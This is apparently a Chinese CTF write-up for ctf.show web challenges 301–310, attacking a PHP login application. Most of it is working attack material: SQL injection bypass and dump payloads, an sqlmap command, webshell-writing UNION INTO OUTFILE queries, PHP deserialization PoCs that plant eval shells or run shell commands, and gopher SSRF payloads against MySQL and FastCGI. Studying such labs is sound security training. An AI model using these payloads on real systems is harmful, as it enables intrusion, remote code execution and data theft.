web301
下载源码后在checklogin.php 发现问题代码
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
sql语句中未进行任何过滤且username可控,但在下边有个strcasecmp 函数进行比较,用户名和密码相同才能登陆成功
strcasecmp(string1,string2)
string1 必需。规定要比较的第一个字符串。
string2 必需。规定要比较的第二个字符串。
返回逻辑:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
因此如果我们想成功登录就需要用户名密码相同,返回值即为0,在经过strcasecmp 前边的! 运算,成功登录,这里就可以用联合查询让username返回1,相等后$_SESSION['login']=1; 即可绕过seesion验证进入index.php界面 payload:
userid=1'union select 1#&userpwd=1
此外本题也可用sqlmap直接一把梭
python sqlmap.py -u"http://efad7348-9ec6-4684-9f9e-31f3c5d5d1af.challenge.ctf.show/checklogin.php" --data="userid=1&userpwd=1" --batch --dump
也可以通过写shell方式
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b
web302
修改的部分:if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])) 由上题的userpwd变为了sds_decode($userpwd) 其实sds_decode函数就是把本身的1进行md5加密嵌套变为:d9c77c4e454869d5d8da3b4be79694d3 payload:
userid=1'union select 'd9c77c4e454869d5d8da3b4be79694d3' #&userpwd=1
或者直接shell虽然经过sds_decode()函数的处理,但是他的sql语句已经执行了
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b
web303
之前的checklogin.php中多了条判断语句,所以这里的注入点就不可用了 但源码中多了dpt.php 和dptadd.php ,在dptadd.php 中发现了注入点,但有个前提必须登录成功,猜测弱口令admin/admin登陆成功 无过滤的insert注入 payload:
查表名
1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#
查列名
1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
查数据
1',sds_address =(select flag from sds_fl9g)#
web304
加了全局waf,但上题payload就能打通
web305
在上题的基础上加了waf,所以sql注入就行不通了 在checklogin.php中加了一个反序列化点 并且多了一个class.php,其中有file_put_contents 函数可以作为本题的突破点 poc
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
echo urlencode(serialize(new user('2.php','<?php eval($_POST[1]);?>')));
?>
在checklogin.php中,对将值传入cookie的user参数中,即可生成2.php 但蚁剑连接后并未发现flag文件,所以猜测flag在数据库中,尝试连接数据库 密码等信息在conn.php中 成功链接后flag就在数据库中
web306
在class.php中发现了file_put_contents() 但需要调用close() 方法,所以下一步找一下哪里使用了该方法,在dao.php 中发现使用该方法 找到了利用点,现在就需要找一个反序列化入口,发现login.php和index.php里面都有unserialize,但php必须包含dao.php和class.php所以只能使用index.php的反序列化入口传参 poc
<?php
class log{
public $title='1.php';
public $info='<?php eval($_POST[a]);?>';
}
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
echo base64_encode(serialize(new dao()));
账号密码为admin/admin1,登陆后跳转到index.php 界面,将payload传给cookie中的user就生成了1.php
web307
上题中的close方法变为了closelog(),所以在dao类中就无法调用了,并且经过全局搜索后dao类中的close()方法也是搜索不到的,所以就要另寻其他利用点了 seay源码审计后发现shell_exec函数 需调用clearCache()方法 在logout.php中会直接调用clearCache方法 而该方法中的config是dao类中的变量,cache_dir是login类中的 所以这里需要做的就是修改$this->config->cache_dir 的值,从而执行我们的命令 poc
<?php
class config
{
public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/1.txt;';
}
class dao
{ private $config;
public function __construct(){
$this->config=new config();
}}
$a = new dao();
echo base64_encode(serialize($a));
?>
传到cookie中的service访问1.txt得到flag
web308
较上题RCE本题,进行了正则过滤必须是纯字母才能执行命令,所以该点就不能利用了 但又多了checkVersion()和checkUpdate()方法 跟进fun.php查看多了ssrf的利用点 而在config.php中发现mysql数据库无密码,底下又多了url参数可以结合checkUpdate()方法传参,所以猜测本题是打mysql了 ![image-20220212161707585](https://img-blog.csdnimg.cn/img_convert/eacfcbcb9fc724ba5bf4d51ec7aad65d.png
并且在index.php中发现反序列化入口,并且会调用checkVersion()方法,进而进行ssrf(注:即使没有登录header跳转之后的代码还能正常执行)
所以本题现在就需要通过dao类和config类修改&this->config和$update_url的值 根据题目提示,用gopher写shell即可
select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/2.php"
poc
<?php
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
传参生成2.php,找flag即可
web309
mysql有密码了,通过gopher协议的延迟判断猜测是fastcgi
gopher://127.0.0.1:9000
继续用gopherus构造payload poc
<?php
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH72%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00H%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
传参得到flag
web310
还是打fastcgi,但读取flag文件时,未读取出来,所以寻找一下flag文件所在位置 发现/var/flag 读取后发现读取不出来,猜测该flag是个文件夹,flag应该在其中的文件里,读取其中的文件 发现index.html,读取后得到flag 学习一下羽师傅的另一种思路 读取nginx.conf配置文件
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
得到
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
访问4476端口
<?php
class config{
public $update_url = 'http://127.0.0.1:4476';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
|